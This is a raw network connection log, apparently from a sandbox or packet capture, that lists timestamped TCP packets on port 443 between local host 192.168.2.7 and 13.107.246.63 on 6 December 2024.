Dec 6, 2024 15:52:39.511290073 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.511811018 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.511826992 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.511873960 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.511900902 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.512756109 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.512823105 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.513730049 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.513735056 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.513735056 CET	49730	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.513977051 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.513991117 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.514000893 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.514005899 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.514242887 CET	49730	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.514249086 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.514261007 CET	49730	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.514265060 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.530495882 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.530545950 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.531323910 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.531776905 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.531805992 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.531821966 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.531827927 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.532510996 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.532526016 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.535512924 CET	49736	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.535542011 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.535598993 CET	49737	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.535645962 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.535748959 CET	49736	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.535761118 CET	49737	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.535876989 CET	49736	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.535890102 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.535928965 CET	49737	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.535947084 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:40.791659117 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:40.792414904 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:40.792457104 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:40.792917967 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:40.792923927 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.228566885 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.228655100 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.228893995 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.229212046 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.229235888 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.229247093 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.229253054 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.232898951 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.232949972 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.233021975 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.233197927 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.233212948 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.365483999 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.366159916 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.366169930 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.366661072 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.366666079 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.367310047 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.367645979 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.367803097 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.367831945 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.368207932 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.368216991 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.368515015 CET	49737	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.368545055 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.368675947 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.368933916 CET	49737	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.368940115 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.369319916 CET	49736	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.369332075 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.369694948 CET	49736	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.369700909 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.804560900 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.804640055 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.805713892 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.805803061 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.806629896 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.806694984 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.807162046 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.807197094 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.807306051 CET	49737	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.807915926 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.807987928 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.811587095 CET	49736	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.814497948 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.814528942 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.814543962 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.814551115 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.817364931 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.817399025 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.817429066 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.817435980 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.830395937 CET	49737	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.830432892 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.830450058 CET	49737	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.830457926 CET	443	49737	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.830652952 CET	49740	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.830697060 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.830838919 CET	49740	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.832079887 CET	49736	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.832103968 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.832117081 CET	49736	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.832123995 CET	443	49736	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.840836048 CET	49740	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.840859890 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.841382027 CET	49741	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.841427088 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.841681957 CET	49741	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.842545033 CET	49741	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.842556000 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.847465038 CET	49742	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.847486019 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.848551035 CET	49742	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.850470066 CET	49743	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.850491047 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.850919008 CET	49743	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.851506948 CET	49742	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.851517916 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:41.853714943 CET	49743	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:41.853729010 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.051753998 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.128844023 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.132596970 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.132606983 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.133114100 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.133120060 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.493860960 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.493953943 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.497565985 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.499854088 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.499877930 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.499891043 CET	49739	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.499897003 CET	443	49739	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.504940033 CET	49747	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.504981995 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.505100012 CET	49747	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.506560087 CET	49747	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.506592989 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.578259945 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.580990076 CET	49740	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.581017017 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.581610918 CET	49740	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.581618071 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.593265057 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.594379902 CET	49741	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.594397068 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.594837904 CET	49741	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.594845057 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.598006010 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.598030090 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.599199057 CET	49743	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.599206924 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.599416971 CET	49742	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.599427938 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.599661112 CET	49743	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.599668026 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:43.599829912 CET	49742	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:43.599837065 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.045284033 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.045382023 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.045562029 CET	49741	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.045789003 CET	49741	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.045789003 CET	49741	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.045810938 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.045820951 CET	443	49741	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.048837900 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.048880100 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.048994064 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.049069881 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.049135923 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.049360991 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.049372911 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.049411058 CET	49742	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.049557924 CET	49742	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.049568892 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.049580097 CET	49742	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.049585104 CET	443	49742	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.050004005 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.050062895 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.050851107 CET	49743	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.051017046 CET	49743	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.051031113 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.051045895 CET	49743	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.051059961 CET	443	49743	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.052613020 CET	49750	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.052643061 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.052745104 CET	49750	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.052783012 CET	49751	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.052794933 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.052920103 CET	49750	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.052934885 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.052947044 CET	49751	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.053066969 CET	49751	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.053076982 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.108289957 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.108378887 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.111464024 CET	49740	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.140861988 CET	49740	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.140896082 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.140908957 CET	49740	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.140918016 CET	443	49740	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.149422884 CET	49752	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.149497986 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:44.149738073 CET	49752	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.150307894 CET	49752	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:44.150329113 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.236123085 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.239849091 CET	49747	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.239860058 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.240348101 CET	49747	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.240351915 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.672640085 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.672719002 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.675793886 CET	49747	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.748961926 CET	49747	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.749003887 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.749044895 CET	49747	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.749053001 CET	443	49747	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.764729023 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.764764071 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.765129089 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.767334938 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.767348051 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.781549931 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.785689116 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.786528111 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.789146900 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.789165020 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.789771080 CET	49750	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.789783955 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.791270971 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.791276932 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.791623116 CET	49750	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.791629076 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.792126894 CET	49751	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.792134047 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.792536020 CET	49751	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.792540073 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.870676994 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.881830931 CET	49752	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.881886959 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:45.882389069 CET	49752	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:45.882395983 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.224463940 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.224545002 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.224694967 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.224864960 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.224874020 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.224884987 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.224889040 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.228102922 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.228153944 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.228275061 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.228441000 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.228456974 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.388580084 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.388611078 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.388679028 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.388689041 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.388813972 CET	49750	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.388894081 CET	49752	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.389098883 CET	49752	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.389121056 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.389132023 CET	49752	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.389136076 CET	49750	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.389136076 CET	49750	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.389138937 CET	443	49752	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.389151096 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.389159918 CET	443	49750	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.389249086 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.389364004 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.390506983 CET	49751	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.392915010 CET	49751	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.392932892 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.392947912 CET	49751	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.392954111 CET	443	49751	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.395145893 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.395194054 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.396251917 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.396295071 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.397138119 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.397173882 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.397181034 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.397213936 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.397656918 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.397670031 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.397799015 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.397811890 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:46.397872925 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.398212910 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:46.398222923 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.145546913 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.145603895 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.146486044 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.164072037 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.164089918 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.534564018 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.535120010 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.535140991 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.536854029 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.536859989 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.968774080 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.971298933 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.971328974 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.976484060 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.978353977 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.978374004 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.979141951 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.979146957 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.979389906 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.979403973 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.979415894 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.979420900 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.982827902 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.982855082 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:47.983201981 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.984858036 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:47.984870911 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.130073071 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.130614042 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.158978939 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.188347101 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.225380898 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.225393057 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.233587027 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.233594894 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.237322092 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.237338066 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.241606951 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.241612911 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.257467985 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.257488966 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.265372038 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.265383005 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.421430111 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.421489954 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:48.422074080 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:48.422441006 CET	49758	443	192.168.2.7	13.107.246.63
